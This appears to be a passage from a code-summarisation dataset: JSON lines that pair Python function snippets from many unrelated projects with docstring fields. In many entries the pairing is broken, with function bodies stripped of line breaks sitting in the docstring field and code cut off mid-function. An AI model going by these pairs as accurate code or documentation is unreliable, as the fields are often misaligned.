+ c \\dot{x} + k x = 0`given initial conditions :math:`x_0` and :math:`\\dot{x}_0 = v_0` for:math:`0 < t < t_{max}`Parameters----------m, c, k : floats, optionalmass, damping coefficient, stiffnessx0, v0: floats, optionalinitial displacement, initial velocitymax_time: float, optionalend time for :math:`x(t)`Returns-------t, x, v : ndarraystime, displacement, and velocityzeta, omega, omega_d, A : floatsdamping ratio, undamped natural frequency, damped natural frequency,AmplitudeExamples-------->>> import matplotlib.pyplot as plt>>> import vibration_toolbox as vtb>>> t, x, *_ = vtb.free_response() # *_ ignores all other returns>>> plt.plot(t,x)[]>>> plt.xlabel('Time (sec)')Text(0.5, 0, 'Time (sec)')>>> plt.ylabel('Displacement (m)')Text(0, 0.5, 'Displacement (m)')>>> plt.title('Displacement versus time')Text(0.5, 1.0, 'Displacement versus time')>>> plt.grid(True)"} {"code": "def test_validate_carbon_json(self):\n from natcap.invest import cli\n\n with unittest.mock.patch('natcap.invest.ui_server.app.run',\n return_value=None) as patched_app:\n with self.assertRaises(SystemExit) as exit_cm:\n cli.main(['serve'])\n self.assertEqual(exit_cm.exception.code, 0)\n", "nl": "CLI: Get validation results as JSON from cli.from natcap.invest import clidatastack_dict = {'model_name': 'natcap.invest.carbon','invest_version': '3.10','args': {}}datastack_dict['args']['workspace_dir'] = self.workspace_dirnew_parameter_set_path = os.path.join(self.workspace_dir, 'paramset.invs.json')with open(new_parameter_set_path, 'w') as parameter_set_file:parameter_set_file.write(json.dumps(datastack_dict, indent=4, sort_keys=True))with redirect_stdout() as stdout_stream:with self.assertRaises(SystemExit) as exit_cm:cli.main(['validate',new_parameter_set_path,'--json',])stdout = stdout_stream.getvalue()stdout_json = json.loads(stdout)self.assertEqual(len(stdout_json), 1)# Some required keys are missing, so we have validation resultsself.assertEqual(len(stdout_json['validation_results']), 1)# Validation returned successfully, so error code 0 even though there# are warnings.self.assertEqual(exit_cm.exception.code, 0)def test_serve(self):CLI: serve entry-point exists; flask app can import."} {"code": "def deserialize(self, binary_data):\n", "nl": "Loads instance from a pickle representation.adict = pickle.loads(binary_data)if self.version != adict.get('version'):raise Exception('Expected version %s, found %s.' % (self.version, adict.get('version')))self.__dict__.update(adict)class Unit12(object):An object to represent a Unit, Assessment or Link (version 1.2)."} {"code": "def ongoing(self, member: Optional[Member] = None) -> bool:\n start, end = self.get_start_end(member=member)\n if not start or not end:\n return False\n now = datetime.datetime.now()\n return start <= now <= end\n", "nl": "Is the quiz currently in-progress?"} {"code": "def forward(self, X: Union[torch.tensor, np.ndarray], l2_norm: bool = False):\n Z = self.model.forward(X.float().to(self.device))\n if l2_norm:\n Z = Z / torch.linalg.norm(Z, 2, axis=1, keepdims=True)\n return Z\n", "nl": "Performs a forward pass over the encoder, projecting the input features to the learnt spaceParameters----------X : tensorN x D input tensor containing N samples of dimension Dl2_norm : boolL2 normalizes the output representation after projectionReturns-------Z : tensorProjected output tensor of size N x n_components"} {"code": "def _add_text(self, txt):\n self._set_artist_props(txt)\n self.texts.append(txt)\n txt._remove_method = self.texts.remove\n self.stale = True\n return txt\n", "nl": "Add a `~.Text` to the axes' texts; return the text."} {"code": "def test_walk(self):\n filelist = self.example_dir.filelist(include_dirs=True)\n filelist.append(self.wd)\n for f in walk(self.wd):\n self.assertTrue(f in filelist,\"%s not expected\" % f)\n filelist.remove(f)\n self.assertEqual(len(filelist),0,\"Items not returned: %s\" %\n ','.join(filelist))\n", "nl": "'walk' traverses all files and directories"} {"code": "def get(self, name: str, default: Any = None) -> Union[InteractionDataOption, Any]:\n opt = self.options.get(name)\n if opt is None:", "nl": "Get the value of an option with the specified nameParameters----------name : strthe name of the option you want to getdefault : anywhat to return in case nothing was foundReturns-------option_value : anyThe option type isn't ``SUB_COMMAND_GROUP`` or ``SUB_COMMAND``option: :class:`InteractionDataOption` | ``default``Otherwise"} {"code": "def get_python_inc(plat_specific=0, prefix=None):\n if prefix is None:\n prefix = plat_specific and BASE_EXEC_PREFIX or BASE_PREFIX\n if os.name == \"posix\":\n if IS_PYPY and sys.version_info < (3, 8):\n return os.path.join(prefix, 'include')\n if python_build:\n if plat_specific:\n return _sys_home or project_base\n else:\n incdir = os.path.join(get_config_var('srcdir'), 'Include')\n return os.path.normpath(incdir)\n implementation = 'pypy' if IS_PYPY else 'python'\n python_dir = implementation + get_python_version() + build_flags\n return os.path.join(prefix, \"include\", python_dir)\n elif os.name == \"nt\":\n if python_build:\n return (os.path.join(prefix, \"include\") + os.path.pathsep +\n os.path.join(prefix, \"PC\"))\n return os.path.join(prefix, \"include\")\n else:\n raise DistutilsPlatformError(\n \"I don't know where Python installs its C header files \"\n \"on platform '%s'\" % os.name)\n\n", "nl": "Return the directory containing installed Python header files.If 'plat_specific' is false (the default), this is the path to thenon-platform-specific header files, i.e. Python.h and so on;otherwise, this is the path to platform-specific header files(namely pyconfig.h).If 'prefix' is supplied, use it instead of sys.base_prefix orsys.base_exec_prefix -- i.e., ignore 'plat_specific'."} {"code": "def supports_json(self):\n return self._supports_json\n\n @supports_json.setter", "nl": "Indicates whether the attribute can be serialized / de-serialized to JSON.:returns: 2-member :class:`tuple ` (inbound de-serialization /outbound serialization):rtype: :class:`tuple ` of form (:class:`bool `,:class:`bool `)"} {"code": "def __init__(self, **kwargs: Any) -> None:\n self.shared_state_key = kwargs.pop(\"shared_state_key\", None)\n if self.shared_state_key is None:\n raise ValueError(\"No shared_state_key provided!\")\n super().__init__(**kwargs)\n", "nl": "Initialize the strategy of the agent.:param kwargs: keyword arguments"} {"code": "def _explain_to(self, message):\n\n\nclass _ProxyFile:\n \"\"\"A read-only wrapper of a file.\"\"\"", "nl": "Copy Babyl-specific state to message insofar as possible.if isinstance(message, MaildirMessage):labels = set(self.get_labels())if 'unseen' in labels:message.set_subdir('cur')else:message.set_subdir('cur')message.add_flag('S')if 'forwarded' in labels or 'resent' in labels:message.add_flag('P')if 'answered' in labels:message.add_flag('R')if 'deleted' in labels:message.add_flag('T')elif isinstance(message, _mboxMMDFMessage):labels = set(self.get_labels())if 'unseen' not in labels:message.add_flag('RO')else:message.add_flag('O')if 'deleted' in labels:message.add_flag('D')if 'answered' in labels:message.add_flag('A')elif isinstance(message, MHMessage):labels = set(self.get_labels())if 'unseen' in labels:message.add_sequence('unseen')if 'answered' in labels:message.add_sequence('replied')elif isinstance(message, BabylMessage):message.set_visible(self.get_visible())for label in self.get_labels():message.add_label(label)elif isinstance(message, Message):passelse:raise TypeError('Cannot convert to specified type: %s' %type(message))class MMDFMessage(_mboxMMDFMessage):Message with MMDF-specific properties."} {"code": "def test_get(self, soco):\n queue = soco.get_queue(0, 100)\n assert isinstance(queue, list)\n for item in queue:\n assert isinstance(item, DidlMusicTrack)\n for key in self.queue_element_keys:\n assert getattr(item, key)\n\n\nclass TestAddToQueue:\n \"\"\"Integration test for the add_to_queue method.\"\"\"", "nl": "Test is return value is a list of DidlMusicTracks and if each ofthe objects contain the attributes: album, creator, resources,album_art_uri and title."} {"code": "def download(self, scenes, bands=None):\n\n if isinstance(scenes, list):\n files = []\n\n for scene in scenes:\n\n try:\n if not isinstance(bands, list):\n raise RemoteFileDoesntExist\n files.append(self.amazon_s3(scene, bands))\n\n except RemoteFileDoesntExist:\n try:\n files.append(self.google_storage(scene, self.download_dir))\n except RemoteFileDoesntExist:\n files.append(self.usgs_eros(scene, self.download_dir))\n\n return files\n\n else:\n raise Exception('Expected sceneIDs list')\n", "nl": "Download scenese from Google Storage or Amazon S3 if bands are provided:param scenes:A list of scene IDs:type scenes:List:param bands:A list of bands. Default value is None.:type scenes:List:returns:(List) includes downloaded scenes as key and source as value (aws or google)"} {"code": "def fts_match(self, fts_mask, segment):\n fts_seg = self.fts(segment)\n if fts_seg:\n fts_mask = set(fts_mask)\n return fts_mask <= fts_seg\n else:\n return None\n", "nl": "Evaluates whether a set of features 'match' a segment (are a subsetof that segment's features)Args:fts_mask (list): list of (value, feature) tuplessegment (unicode): IPA string corresponding to segment (consonant orvowel)Returns:bool: None if `segment` cannot be parsed; True if the feature valuesof `fts_mask` are a subset of those for `segment`"} {"code": "def test_post_install_dup_lib_windows(mocked_sys, ui, tmpdir):\n all_files = {\n \"JCVOIUE\": [\n {\"path\": os.path.join('lib', 'asomething'), \"role\": \"to_keep\"},\n {\"path\": os.path.join('lib', 'what.so.1'), \"role\": \"symlink\", \"target\": \"./what.so.1.2.3\"},\n {\"path\": os.path.join('lib', 'truc.so'), \"role\": \"symlink\", \"target\": \"./what.so.1.2.3\"},\n {\"path\": os.path.join('lib', 'what.so.1.2.3'), \"role\": \"to_keep\"},\n {\"path\": os.path.join('not_lib', 'toto.so.3'), \"role\": \"to_keep\"},\n ],\n \"pJPG8IZ\": [\n {\"path\": os.path.join('not_lib', 'toto.so'), \"role\": \"to_keep\"},\n {\"path\": os.path.join('not_lib', 'toto.so.2'), \"role\": \"to_keep\"},\n {\"path\": os.path.join('lib', 'other.so.1'), \"role\": \"symlink\", \"target\": \"./other.so.old\"},\n {\"path\": os.path.join('lib', 'other.so.old'), \"role\": \"to_keep\"},\n ],\n \"\n {\"path\": os.path.join('lib', 'python.py'), \"role\": \"to_keep\"},\n {\"path\": os.path.join('lib', 'python.pyc'), \"role\": \"to_delete\"},\n {\"path\": os.path.join('lib', 'python.pyo'), \"role\": \"to_delete\"},\n ],\n }\n with duplicated_lib_check(tmpdir.strpath, all_files) as input_files:\n output_files = qibuild.cmake_builder.CMakeBuilder(\"\").post_install(tmpdir.strpath, input_files + input_files,\n replace_duplicated_lib_by_symlink=True,\n remove_python_bytecode=True)\n assert len(input_files) == len(output_files) + 2", "nl": " Test Post Install Dup Lib Windows mocked_sys.platform.return_value = 'windoze'all_files = {\"JCVOIUE\": [{\"path\": os.path.join('lib', 'asomething'), \"role\": \"to_keep\"},{\"path\": os.path.join('lib', 'what.so.1'), \"role\": \"to_keep\"},{\"path\": os.path.join('lib', 'truc.so'), \"role\": \"to_keep\"},{\"path\": os.path.join('lib', 'what.so.1.2.3'), \"role\": \"to_keep\"},{\"path\": os.path.join('not_lib', 'toto.so.3'), \"role\": \"to_keep\"},],\"pJPG8IZ\": [{\"path\": os.path.join('not_lib', 'toto.so'), \"role\": \"to_keep\"},{\"path\": os.path.join('not_lib', 'toto.so.2'), \"role\": \"to_keep\"},{\"path\": os.path.join('lib', 'other.so.1'), \"role\": \"to_keep\"},{\"path\": os.path.join('lib', 'other.so.old'), \"role\": \"to_keep\"},],\"#!/usr/bin/env python\": [{\"path\": os.path.join('lib', 'python.py'), \"role\": \"to_keep\"},{\"path\": os.path.join('lib', 'python.pyc'), \"role\": \"to_keep\"},{\"path\": os.path.join('lib', 'python.pyo'), \"role\": \"to_keep\"},],}with duplicated_lib_check(tmpdir.strpath, all_files) as input_files:output_files = qibuild.cmake_builder.CMakeBuilder(\"\").post_install(tmpdir.strpath, input_files + input_files,replace_duplicated_lib_by_symlink=True,remove_python_bytecode=False)assert sorted(input_files) == sorted(output_files)assert ui.warning.call_count == 1def test_post_install_all_with_dup(tmpdir): Test Post Install All With Dup "} {"code": "def resolve_egg_link(path):\n referenced_paths = non_empty_lines(path)\n resolved_paths = (\n os.path.join(os.path.dirname(path), ref)\n for ref in referenced_paths\n )\n dist_groups = map(find_distributions, resolved_paths)\n return next(dist_groups, ())\n\n\nregister_finder(pkgutil.ImpImporter, find_on_path)\n\nif hasattr(importlib_machinery, 'FileFinder'):\n register_finder(importlib_machinery.FileFinder, find_on_path)\n\n_declare_state('dict', _namespace_handlers={})\n_declare_state('dict', _namespace_packages={})\n\n", "nl": "Given a path to an .egg-link, resolve distributionspresent in the referenced path."} {"code": "def colorize(string, color, bold=False, highlight=False):\n attr = []\n num = color2num[color]\n if highlight:\n num += 10\n attr.append(str(num))\n if bold:\n attr.append(\"1\")\n return \"\\x1b[%sm%s\\x1b[0m\" % (\";\".join(attr), string)\n\n", "nl": "Colorize a string.This function was originally written by John Schulman.And then borrowed from spinninguphttps://github.com/openai/spinningup/blob/master/spinup/utils/logx.py"} {"code": "def __init__(self):\n return f\"<{self.data.category.title()} {self.data.full_name}>\"\n\n @property", "nl": "Set up HacsRepository.self.hacs = get_hacs()self.data = RepositoryData()self.content = RepositoryContent()self.content.path = RepositoryPath()self.information = RepositoryInformation()self.repository_object = Noneself.status = RepositoryStatus()self.state = Noneself.force_branch = Falseself.integration_manifest = {}self.repository_manifest = HacsManifest.from_dict({})self.validate = Validate()self.releases = RepositoryReleases()self.versions = RepositoryVersions()self.pending_restart = Falseself.tree = []self.treefiles = []self.ref = Noneself.logger = getLogger()def __str__(self) -> str:Return a string representation of the repository."} {"code": "def _read_pypirc(self):\n self.repository = None\n self.realm = None\n self.show_response = 0\n return\n", "nl": "Reads the .pypirc file.rc = self._get_rc_file()if os.path.exists(rc):self.announce('Using PyPI login from %s' % rc)repository = self.repository or self.DEFAULT_REPOSITORYconfig = ConfigParser()config.read(rc)sections = config.sections()if 'distutils' in sections:index_servers = config.get('distutils', 'index-servers')_servers = [ server.strip() for server in index_servers.split('\\n') if server.strip() != '']if _servers == []:if 'pypi' in sections:_servers = ['pypi']else:return {}for server in _servers:current = {'server': server}current['username'] = config.get(server, 'username')for key, default in (('repository',self.DEFAULT_REPOSITORY),('realm', self.DEFAULT_REALM),('password', None)):if config.has_option(server, key):current[key] = config.get(server, key)else:current[key] = defaultif current['server'] == repository or current['repository'] == repository:return currentelif 'server-login' in sections:server = 'server-login'if config.has_option(server, 'repository'):repository = config.get(server, 'repository')else:repository = self.DEFAULT_REPOSITORYreturn {'username': config.get(server, 'username'),'password': config.get(server, 'password'),'repository': repository,'server': server,'realm': self.DEFAULT_REALM}return {}def initialize_options(self):Initialize options."} {"code": "def test_models_course_get_pace_display_with_full_hour_pace(self):\n course = factories.CourseFactory(duration=[7, \"day\"], effort=[7, \"hour\"])\n self.assertEqual(course.get_pace_display(), \"~1 hour/day\")\n", "nl": "If pace is a full hour, hour label should be displayed"} {"code": "def test_create_global_include_index(self):\n Widget.meta_.create_dynamo_schema(self.dynamo, wait=True)\n tablename = Widget.meta_.ddb_tablename()\n desc = self.dynamo.describe_table(tablename)\n throughput = desc.throughput\n self.assertEquals(throughput.read, 1)\n self.assertEquals(throughput.write, 1)\n for index in desc.global_indexes:\n throughput = index.throughput\n self.assertEquals(throughput.read, 1)\n self.assertEquals(throughput.write, 1)\n", "nl": " Create a global secondary INCLUDE index index = self._get_index('name-profit-index')self.assertEquals(index.include_fields, ['name', 'num_employees'])def test_model_throughput(self): Model defines the throughput "} {"code": "def install_version_controlled_file(dest_path, digest_path, src_path, all_hashes):\n current_hash = crypto_util.sha256sum(src_path)\n", "nl": "Copy a file into an active location (likely the system's config dir) if required.:param str dest_path: destination path for version controlled file:param str digest_path: path to save a digest of the file in:param str src_path: path to version controlled file found in distribution:param list all_hashes: hashes of every released version of the file"} {"code": "def guess_all_extensions(type, strict=True):\n if _db is None:\n init()\n return _db.guess_all_extensions(type, strict)\n", "nl": "Guess the extensions for a file based on its MIME type.Return value is a list of strings giving the possible filenameextensions, including the leading dot ('.'). The extension is notguaranteed to have been associated with any particular datastream, but would be mapped to the MIME type `type' byguess_type(). If no extension can be guessed for `type', Noneis returned.Optional `strict' argument when false adds a bunch of commonly found,but non-standard types."} {"code": "def _medianindex(self, v):\n assert self.prevlayer() != None\n N = self._neighbors(v)\n g = self.layout.grx\n pos = [g[x].pos for x in N]\n lp = len(pos)\n if lp == 0:\n return []\n pos.sort()\n pos = pos[:: self.layout.dirh]\n i, j = divmod(lp - 1, 2)\n return [pos[i]] if j == 0 else [pos[i], pos[i + j]]\n", "nl": "find new position of vertex v according to adjacency in layer l+dir.position is given by the median value of adjacent positions.median heuristic is proven to achieve at most 3 times the minimumof crossings (while barycenter achieve in theory the order of |V|)"} {"code": "def test_malformed(self):\n self.lua('put', 0, 'worker', 'queue', 'jid', 'klass', {}, 0)\n self.lua('pop', 1, 'queue', 'worker', 10)\n self.lua('fail', 2, 'jid', 'worker', 'group', 'message', {})\n self.assertEqual(self.lua('get', 3, 'jid'), {'data': '{}',\n 'dependencies': {},\n 'dependents': {},\n 'expires': 0,\n 'failure': {'group': 'group',\n 'message': 'message',\n 'when': 2,\n 'worker': 'worker'},\n 'history': [{'q': 'queue', 'what': 'put', 'when': 0},\n {'what': 'popped', 'when': 1, 'worker': 'worker'},\n {'group': 'group',\n 'what': 'failed',\n 'when': 2,\n 'worker': 'worker'}],\n 'jid': 'jid',\n 'klass': 'klass',\n 'priority': 0,\n 'queue': 'queue',\n 'remaining': 5,\n 'retries': 5,\n 'state': 'failed',\n 'tags': {},\n 'tracked': False,\n 'worker': u'',\n 'spawned_from_jid': False})\n", "nl": "Enumerate all the malformed casesself.assertMalformed(self.lua, [('fail', 0),('fail', 0, 'jid'),('fail', 0, 'jid', 'worker'),('fail', 0, 'jid', 'worker', 'group'),('fail', 0, 'jid', 'worker', 'group', 'message'),('fail', 0, 'jid', 'worker', 'group', 'message', '[}')])def test_basic(self):Fail a job in a very basic way"} {"code": "def save_vocabulary(self, save_directory: str) -> Tuple[str]:\n if os.path.isdir(save_directory):\n files = self._tokenizer.save_model(save_directory)\n else:\n folder, file = os.path.split(os.path.abspath(save_directory))\n files = self._tokenizer.save_model(folder, name=file)\n\n return tuple(files)", "nl": "Save the tokenizer vocabulary to a directory. This method does *NOT* save added tokensand special token mappings... warning::Please use :meth:`~transformers.PreTrainedTokenizer.save_pretrained` to save the full tokenizer state ifyou want to reload it using the :meth:`~transformers.PreTrainedTokenizer.from_pretrained` class method.Args:save_directory (:obj:`str`): The path to adirectory where the tokenizer will be saved.Returns:A tuple of :obj:`str`: The files saved."} {"code": "def _lookup_qrz_dxcc(self, dxcc_or_callsign, apikey, apiv=\"1.3.3\"):\n\n response = self._request_dxcc_info_from_qrz(dxcc_or_callsign, apikey, apiv=apiv)\n\n root = BeautifulSoup(response.text, \"html.parser\")\n lookup = {}\n\n if root.error:\n\n if re.search('No DXCC Information for', root.error.text, re.I):\n raise KeyError(root.error.text)\n elif re.search('Session Timeout', root.error.text, re.I):\n self._apikey = apikey = self._get_qrz_session_key(self._username, self._pwd)\n response = self._request_dxcc_info_from_qrz(dxcc_or_callsign, apikey)\n root = BeautifulSoup(response.text, \"html.parser\")\n else:\n raise AttributeError(\"Session Key Missing\")\n\n if root.dxcc is None:\n raise ValueError\n\n if root.dxcc.dxcc:\n lookup[const.ADIF] = int(root.dxcc.dxcc.text)\n if root.dxcc.cc:\n lookup['cc'] = root.dxcc.cc.text\n if root.dxcc.cc:\n lookup['ccc'] = root.dxcc.ccc.text\n if root.find('name'):\n lookup[const.COUNTRY] = root.find('name').get_text()\n if root.dxcc.continent:\n lookup[const.CONTINENT] = root.dxcc.continent.text\n if root.dxcc.ituzone:\n lookup[const.ITUZ] = int(root.dxcc.ituzone.text)\n if root.dxcc.cqzone:\n lookup[const.CQZ] = int(root.dxcc.cqzone.text)\n if root.dxcc.timezone:\n lookup['timezone'] = float(root.dxcc.timezone.text)\n if root.dxcc.lat:\n lookup[const.LATITUDE] = float(root.dxcc.lat.text)\n if root.dxcc.lon:\n lookup[const.LONGITUDE] = float(root.dxcc.lon.text)\n\n return lookup\n\n", "nl": " Performs the dxcc lookup against the QRZ.com XML API:"} {"code": "def max_epoch(self):\n return self._max_step\n\n @max_step.setter", "nl": "Get or set the max value for epoch counter.return self._max_epoch@max_epoch.setterdef max_epoch(self, value):self._max_epoch = int(value)@propertydef max_step(self):Get or set the max value for global step counter."} {"code": "def get_iterator(self):\n return iter(datalab.utils.Iterator(self._retrieve_jobs))\n", "nl": "Get iterator of jobs so it can be used as \"for model in Jobs().get_iterator()\"."} {"code": "def handle(self, request):\n action_url = self.get_action_url(request)\n if not self.form_submitted(request):\n return self.render(request, action_url)\n submit = self.get_submit_button(request)\n if submit == \"cancel\":\n return redirect(self.cancel_url)\n values = self.process(request)\n if submit == \"\":\n self.error.clear()\n return self.render(request, action_url)\n\n if self.use_form_tokens:\n token = values.get(self.TOKEN_NAME)\n if not request.session.has_form_token(token):\n if not self.error:\n self.error[self.TOKEN_NAME] = (\n \"The form you have submitted is invalid. It has \"\n \"already been submitted or has expired. Please \"\n \"review and resubmit the form.\"\n )\n else:\n request.session.remove_form_token(token)\n\n if self.error:\n return self.render(request, action_url)\n else:\n return self.action(request, submit, values)\n\n", "nl": "handle(request : HTTPRequest) -> stringMaster method for handling forms. It should be called afterinitializing a form. Controls form action based on a request. Youprobably should override 'process' and 'action' instead ofoverriding this method."} {"code": "def _match(self, similarity_matrix, valid_rows):\n valid_row_sim_matrix = tf.gather(similarity_matrix,\n tf.squeeze(tf.where(valid_rows), axis=-1))\n distance_matrix = -1 * valid_row_sim_matrix\n", "nl": "Optimally bipartite matches a collection rows and columns.Args:similarity_matrix: Float tensor of shape [N, M] with pairwise similaritywhere higher values mean more similar.valid_rows: A boolean tensor of shape [N] indicating the rows that arevalid.Returns:match_results: int32 tensor of shape [M] with match_results[i]=-1meaning that column i is not matched and otherwise that it is matched torow match_results[i]."} {"code": "def compute_acc_unsupervised(emb, graph):\n\n train_mask = graph.ndata['train_mask']\n test_mask = graph.ndata['test_mask']\n val_mask = graph.ndata['val_mask']\n train_nids = torch.LongTensor(np.nonzero(train_mask)).squeeze().cpu().numpy()\n val_nids = torch.LongTensor(np.nonzero(val_mask)).squeeze().cpu().numpy()\n test_nids = torch.LongTensor(np.nonzero(test_mask)).squeeze().cpu().numpy()\n\n emb = emb.cpu().detach().numpy()\n labels = graph.ndata['label'].cpu().numpy()\n train_labels = labels[train_nids]\n val_labels = labels[val_nids]\n test_labels = labels[test_nids]\n\n emb = (emb - emb.mean(0, keepdims=True)) / emb.std(0, keepdims=True)\n\n lr = lm.LogisticRegression(multi_class='multinomial', max_iter=1000)\n lr.fit(emb[train_nids], train_labels)\n\n pred = lr.predict(emb)\n f1_micro_train = skm.f1_score(train_labels, pred[train_nids], average='micro')\n f1_micro_eval = skm.f1_score(val_labels, pred[val_nids], average='micro')\n f1_micro_test = skm.f1_score(test_labels, pred[test_nids], average='micro')\n return f1_micro_train, f1_micro_eval, f1_micro_test\n\n", "nl": "Compute the accuracy of prediction given the labels."} {"code": "def print_batch_exception(batch_exception):\n log.error(\"-------------------------------------------\")\n log.error(\"Exception encountered:\")\n if batch_exception.error and batch_exception.error.message and batch_exception.error.message.value:\n log.error(batch_exception.error.message.value)\n if batch_exception.error.values:\n log.error(\"\")\n for mesg in batch_exception.error.values:\n log.error(\"%s:\\t%s\", mesg.key, mesg.value)\n log.error(\"-------------------------------------------\")\n\n", "nl": "Prints the contents of the specified Batch exception.:param batch_exception:"} {"code": "def test_31_user_profile_progress(self, mock):\n user = User(email_addr=\"johndoe@johndoe.com\",\n name=\"John Doe\",\n passwd_hash=None,\n fullname=\"johndoe\",\n api_key=\"api-key\")\n db.session.add(user)\n db.session.commit()\n res = self.signin()\n assert \"Ooops, we didn&\n\n @with_context", "nl": "Test WEB user progress profile page worksself.register()self.new_project()project = db.session.query(Project).first()task = Task(project_id=project.id, n_answers=10)db.session.add(task)task_run = TaskRun(project_id=project.id, task_id=1, user_id=1,info={'answer': 1})db.session.add(task_run)db.session.commit()res = self.app.get('account/johndoe', follow_redirects=True)assert \"Sample Project\" in str(res.data)@with_contextdef test_32_oauth_password(self):Test WEB user sign in without password works"} {"code": "def test_captures_stdout(self):\n message = \"This should be captured...\"\n\n buf = io.StringIO()\n with stdout_redirector(buf):\n print(message)\n\n self.assertEqual(buf.getvalue(), message + '\\n')\n", "nl": "Test capturing stdout from print"} {"code": "def __init__(self, app, db):", "nl": "Args:app(Flask): The Flask appliation instance.db(MongoEngine): The MongoEngine object-database mapper instance.| Example:| app = Flask(__name__)| db = MongoEngine()| db_adapter = MongoDbAdapter(app, db)"} {"code": "default_device=None):\n\n with h5py.File(model_path, 'r') as state:\n logging.info(\"Reading vocabulary from network state.\")\n vocabulary = Vocabulary.from_state(state)\n logging.info(\"Number of words in vocabulary: {}\"\n .format(vocabulary.num_words()))\n logging.info(\"Number of words in shortlist: {}\"\n .format(vocabulary.num_shortlist_words()))\n logging.info(\"Number of word classes: {}\"\n .format(vocabulary.num_classes()))\n logging.info(\"Building neural network.\")\n architecture = Architecture.from_state(state)\n result = cls(architecture, vocabulary, mode=mode,", "nl": "Reads a model from an HDF5 file.:type model_path: str:param model_path: path to a HDF5 model file:type mode: Network.Mode:param mode: selects mini-batch or single time step processing:type exclude_unk: bool:param exclude_unk: if set to ``True``, set ```` probability tozero before normalizing the network outputs(required to get exact normalization duringinference):type default_device: str:param default_device: default device where to store the shared variables"} {"code": "def _ipconfig_getnode():\n See http://support.microsoft.com/kb/118623 for details.\"\"\"", "nl": "Get the hardware address on Windows by running ipconfig.exe.import os, redirs = ['', r'c:\\windows\\system32', r'c:\\winnt\\system32']try:import ctypesbuffer = ctypes.create_string_buffer(300)ctypes.windll.kernel32.GetSystemDirectoryA(buffer, 300)dirs.insert(0, buffer.value.decode('mbcs'))except:passfor dir in dirs:try:pipe = os.popen(os.path.join(dir, 'ipconfig') + ' /all')except IOError:continuewith pipe:for line in pipe:value = line.split(':')[-1].strip().lower()if re.match('([0-9a-f][0-9a-f]-){5}[0-9a-f][0-9a-f]', value):return int(value.replace('-', ''), 16)def _netbios_getnode():Get the hardware address on Windows using NetBIOS calls."} {"code": "def _rgb_to_rgba(A):\n rgba = np.zeros((A.shape[0], A.shape[1], 4), dtype=A.dtype)\n rgba[:, :, :3] = A\n if rgba.dtype == np.uint8:\n rgba[:, :, 3] = 255\n else:\n rgba[:, :, 3] = 1.0\n return rgba\n\n\nclass _ImageBase(martist.Artist, cm.ScalarMappable):\n zorder = 0\n", "nl": "Convert an RGB image to RGBA, as required by the image resample C++extension."} {"code": "def queue_selected_album(self, source, favourites=False, index=-1):\n print(\"CoverArtBrowser DEBUG - queue_selected_album\")\n\n if source == None:\n source = self.source_query_model\n\n selected_albums = self.viewmgr.current_view.get_selected_objects()\n threshold = self.rating_threshold if favourites else 0\n\n total = 0\n for album in selected_albums:\n tracks = album.get_tracks(threshold)\n total = total + len(tracks)\n for track in tracks:\n source.add_entry(track.entry, index)\n if index != -1:\n index = index + 1\n\n if total == 0 and threshold:\n dialog = Gtk.MessageDialog(None,\n Gtk.DialogFlags.MODAL,\n Gtk.MessageType.INFO,\n Gtk.ButtonsType.OK,\n _(\n \"No tracks have been added because no tracks meet the favourite rating threshold\"))\n\n dialog.run()\n dialog.destroy()\n print(\"CoverArtBrowser DEBUG - end queue_select_album\")\n", "nl": "Utilitary method that queues all entries from an album into the playqueue."} {"code": "def count(pattern, haystack):\n x = searchFirst(pattern, haystack)\n if x is None:\n return None\n else:\n return get(haystack, x[0])\n", "nl": "Return the number of matches.return len(list(search(pattern, haystack)))def findRef(pattern, haystack):Return a reference to the matching subexpression within the original structure (for in-place modifications) or None if there is no match."} {"code": "def file_upload_getlist_count(request):\n file_counts = {}\n\n for key in request.FILES.keys():\n file_counts[key] = len(request.FILES.getlist(key))\n return HttpResponse(simplejson.dumps(file_counts))", "nl": "Check the .getlist() function to ensure we receive the correct number of files."} {"code": "def is_ebs_optimized(self) -> bool:\n return self._instance_type_info.max_network_interface_count()\n\n @property", "nl": "Return True if the instance has optimized EBS support.return self._instance_type_info.is_ebs_optimized()@propertydef max_network_interface_count(self) -> int:Return max number of NICs for the instance."} {"code": "def time(self) -> str:\n enforce(self.is_set(\"value\"), \"'value' content is not set.\")\n return cast(int, self.get(\"value\"))\n", "nl": "Get the 'time' content from the message.enforce(self.is_set(\"time\"), \"'time' content is not set.\")return cast(str, self.get(\"time\"))@propertydef value(self) -> int:Get the 'value' content from the message."} {"code": "def ascdate():\n a = str(datetime.utcnow())\n return a[2:10]\n\n", "nl": "Returns the current date at yy/mm/dd"} {"code": "def tf_offsets_to_box_4c(boxes_4c, offsets):\n return boxes_4c + offsets", "nl": "Applies box_4c offsets to boxes_4cArgs:boxes_4c: boxes_4c to apply offsets tooffsets: box_4c offsets to applyReturns:regressed boxes_4c"} {"code": "def MakeDockerRunParams(self, *args: Any) -> Dict[str, str]:\n raise NotImplementedError('{} is not docker compatible.'.format(\n type(self).__name__))\n\n @abc.abstractmethod", "nl": "Make parameters for docker `client.containers.run`.Only applies to docker compatible serving binaries.Args:*args: List of unresolved variables to configure docker run parameters.Returns:A dictionary of docker run parameters."} {"code": "def wait_for_writability(self):\n with self.lock:\n while True:\n if self._state in (\"closing\", \"closed\", \"aborted\"):\n return False\n if self._socket and bool(self._write_queue):\n return True\n self._write_queue_cond.wait()\n return False\n", "nl": "Stop current thread until the channel is writable.:Return: `False` if it won't be readable (e.g. is closed)"} {"code": "def test_asan_unknown_unknown(self):\n data = self._read_test_data('asan_unknown_win_read.txt')\n expected_type = 'UNKNOWN READ'\n expected_state = ('blink::SVGEnumerationBase::calculateAnimatedValue\\n'\n 'blink::SVGAnimateElement::calculateAnimatedValue\\n'\n 'blink::SVGAnimationElement::updateAnimation\\n')\n expected_address = '0x00010008'\n expected_stacktrace = data\n expected_security_flag = True\n\n self._validate_get_crash_data(data, expected_type, expected_address,\n expected_state, expected_stacktrace,\n expected_security_flag)\n", "nl": "Test an ASan UNKNOWN access of unknown type (READ/WRITE).data = self._read_test_data('asan_unknown_unknown.txt')expected_type = 'UNKNOWN'expected_state = ('blink::Member::get\\n''blink::Document::styleEngine\\n''blink::Document::updateLayoutTreeIgnorePendingStylesheets\\n')expected_address = '0x000000010530'expected_stacktrace = dataexpected_security_flag = Trueself._validate_get_crash_data(data, expected_type, expected_address,expected_state, expected_stacktrace,expected_security_flag)def test_asan_unknown_win_read(self):Test an ASan UNKNOWN READ access-violation on windows."} {"code": "def dump_probes(probes, tofile):\n with open(tofile, \"w\") as stream:\n 